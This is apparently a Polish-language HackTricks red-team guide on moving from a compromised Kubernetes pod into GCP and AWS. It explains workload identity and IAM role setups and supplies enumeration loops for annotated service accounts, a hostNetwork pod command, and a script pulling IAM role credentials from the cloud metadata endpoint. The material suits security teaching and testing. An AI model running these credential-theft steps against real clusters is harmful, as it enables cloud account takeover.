Kubernetes Pivoting to Clouds

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

GCP

Jeśli uruchamiasz klastra k8s w GCP, prawdopodobnie chcesz, aby niektóre aplikacje uruchomione wewnątrz klastra miały dostęp do GCP. Istnieją 2 powszechne sposoby, aby to zrobić:

Montowanie kluczy GCP-SA jako tajemnicy

Powszechnym sposobem udostępnienia dostępu do aplikacji Kubernetes do GCP jest:

  • Utwórz konto usługi GCP (GCP Service Account)

  • Przypisz do niego odpowiednie uprawnienia

  • Pobierz klucz JSON utworzonego konta usługi (SA)

  • Zamontuj go jako tajemnicę wewnątrz poda

  • Ustaw zmienną środowiskową GOOGLE_APPLICATION_CREDENTIALS wskazującą ścieżkę do pliku JSON.

Dlatego jako atakujący, jeśli przejmiesz kontener wewnątrz poda, powinieneś sprawdzić tę zmienną środowiskową i pliki JSON z danymi uwierzytelniającymi GCP.

Powiązanie pliku JSON GSA z tajemnicą KSA

Sposób udostępnienia dostępu do GSA w klastrze GKE polega na powiązaniu ich w następujący sposób:

  • Utwórz konto usługi Kubernetes (Kubernetes service account) w tej samej przestrzeni nazw co twój klaster GKE, używając następującej komendy:

Copy codekubectl create serviceaccount <service-account-name>
  • Utwórz tajemnicę Kubernetes, która zawiera dane uwierzytelniające konta usługi GCP, do którego chcesz udzielić dostępu do klastra GKE. Możesz to zrobić za pomocą narzędzia wiersza poleceń gcloud, jak pokazano w poniższym przykładzie:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Przypisz tajemnicę Kubernetes do konta usługi Kubernetes za pomocą następującego polecenia:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

W drugim kroku ustawiono poświadczenia GSA jako tajemnica KSA. Jeśli możesz odczytać tę tajemnicę z wnętrza klastra GKE, możesz przejść do tego konta usługi GCP.

Tożsamość obciążeniowa GKE

Dzięki tożsamości obciążeniowej możemy skonfigurować konto usługi Kubernetes tak, aby działało jako konto usługi Google. Pojedyncze konta uruchomione z kontem usługi Kubernetes automatycznie uwierzytelniają się jako konto usługi Google podczas dostępu do interfejsów API Google Cloud.

Pierwsza seria kroków do włączenia tego zachowania to włączenie tożsamości obciążeniowej w GCP (kroki) i utworzenie konta usługi GCP, które chcesz, aby k8s udawał.

  • Włącz tożsamość obciążeniową w nowym klastrze

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Utwórz/aktualizuj nowy nodepool (Klastry Autopilot nie wymagają tego)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Utwórz Konto usługi GCP do udawania z K8s z uprawnieniami GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Połącz się z klastrzem i utwórz konto usługi, które zostanie użyte

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Połącz GSA z KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Uruchom pod z KSA i sprawdź dostęp do GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Sprawdź poniższą komendę, aby uwierzytelnić się w razie potrzeby:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Jako atakujący wewnątrz K8s powinieneś szukać SA z adnotacją iam.gke.io/gcp-service-account, ponieważ wskazuje to, że SA ma dostęp do czegoś w GCP. Inną opcją jest próba wykorzystania każdego KSA w klastrze i sprawdzenie, czy ma dostęp. Zawsze interesujące jest wyliczenie powiązań z GCP i dowiedzenie się, jakie uprawnienia przypisujesz SA wewnątrz Kubernetes.

Oto skrypt, który umożliwia iterację po definicjach wszystkich podów w celu wyszukania tej adnotacji:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role dla Pods)

Przestarzały sposób na przypisanie ról IAM do Pods polega na użyciu serwera Kiam lub Kube2IAM. Ogólnie rzecz biorąc, musisz uruchomić daemonset w klastrze z rodzajem uprzywilejowanej roli IAM. Ten daemonset będzie odpowiedzialny za udostępnianie dostępu do ról IAM dla potrzebujących tego podów.

Przede wszystkim musisz skonfigurować jakie role mogą być dostępne wewnątrz przestrzeni nazw, a robisz to za pomocą adnotacji w obiekcie przestrzeni nazw:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Po skonfigurowaniu przestrzeni nazw z rolami IAM, które mogą mieć pody, możesz wskazać rolę, którą chcesz przypisać do każdej definicji poda, używając czegoś takiego jak:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Jako atakujący, jeśli znajdziesz te adnotacje w podach lub przestrzeniach nazw lub działającym serwerze kiam/kube2iam (prawdopodobnie w kube-system), możesz udawać każdą rolę, która jest już używana przez pod i więcej (jeśli masz dostęp do konta AWS, wyliczaj role).

Utwórz Pod z rolą IAM

Rola IAM, którą należy wskazać, musi znajdować się w tym samym koncie AWS co rola kiam/kube2iam i ta rola musi mieć do niej dostęp.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role dla kont usług K8s za pomocą OIDC

To jest zalecany sposób przez AWS.

  1. Przede wszystkim musisz utworzyć dostawcę OIDC dla klastra.

  2. Następnie tworzysz rolę IAM z uprawnieniami, które będą wymagane przez konta usług.

  3. Tworzysz relację zaufania między rolą IAM a kontem usługi o nazwie (lub przestrzeniach nazw, które dają dostęp do roli wszystkim kontom usług w przestrzeni nazw). Relacja zaufania będzie głównie sprawdzać nazwę dostawcy OIDC, nazwę przestrzeni nazw i nazwę konta usługi.

  4. Na koniec, tworzysz konto usługi z adnotacją wskazującą ARN roli, a pojemniki uruchamiane z tym kontem usługi będą miały dostęp do tokenu roli. Token jest zapisywany w pliku, a ścieżka jest określona w AWS_WEB_IDENTITY_TOKEN_FILE (domyślnie: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Aby uzyskać dostęp do aws za pomocą tokena z /var/run/secrets/eks.amazonaws.com/serviceaccount/token, wykonaj następujące polecenie:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Jako atakujący, jeśli możesz wyliczyć klastra K8s, sprawdź konta usług z tą adnotacją, aby przejść do AWS. Aby to zrobić, po prostu wykonaj/utwórz pod używając jednego z uprzywilejowanych kont usług IAM i kradnij token.

Ponadto, jeśli jesteś wewnątrz poda, sprawdź zmienne środowiskowe takie jak AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.

Czasami polityka zaufania roli może być źle skonfigurowana i zamiast udzielać dostępu do AssumeRole oczekiwanemu kontu usługi, udziela go wszystkim kontom usług. Dlatego, jeśli jesteś w stanie napisać adnotację na kontrolowanym koncie usługi, możesz uzyskać dostęp do roli.

Sprawdź następującą stronę po więcej informacji:

pageAWS - Federation Abuse

Znajdź Pody i konta usług z rolami IAM w klastrze

To jest skrypt, który iteruje po wszystkich podach i definicjach kont usług, szukając tej adnotacji:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Rola IAM węzła

Poprzedni rozdział dotyczył kradzieży ról IAM z podów, ale należy zauważyć, że węzeł klastra K8s jest instancją w chmurze. Oznacza to, że węzeł prawdopodobnie będzie posiadał nową rolę IAM, którą można ukraść (należy jednak zauważyć, że zazwyczaj wszystkie węzły klastra K8s będą miały tę samą rolę IAM, więc może nie warto sprawdzać każdego węzła).

Jednak istnieje ważne wymaganie dotyczące dostępu do punktu końcowego metadanych z węzła - musisz być na węźle (sesja SSH?) lub przynajmniej mieć taką samą sieć:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Kradnij token roli IAM

Wcześniej omówiliśmy, jak dołączyć role IAM do Podów lub nawet jak uciec do Node, aby ukraść rolę IAM, którą instancja ma dołączoną.

Możesz użyć poniższego skryptu, aby ukraść nowo zdobyte poświadczenia roli IAM:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated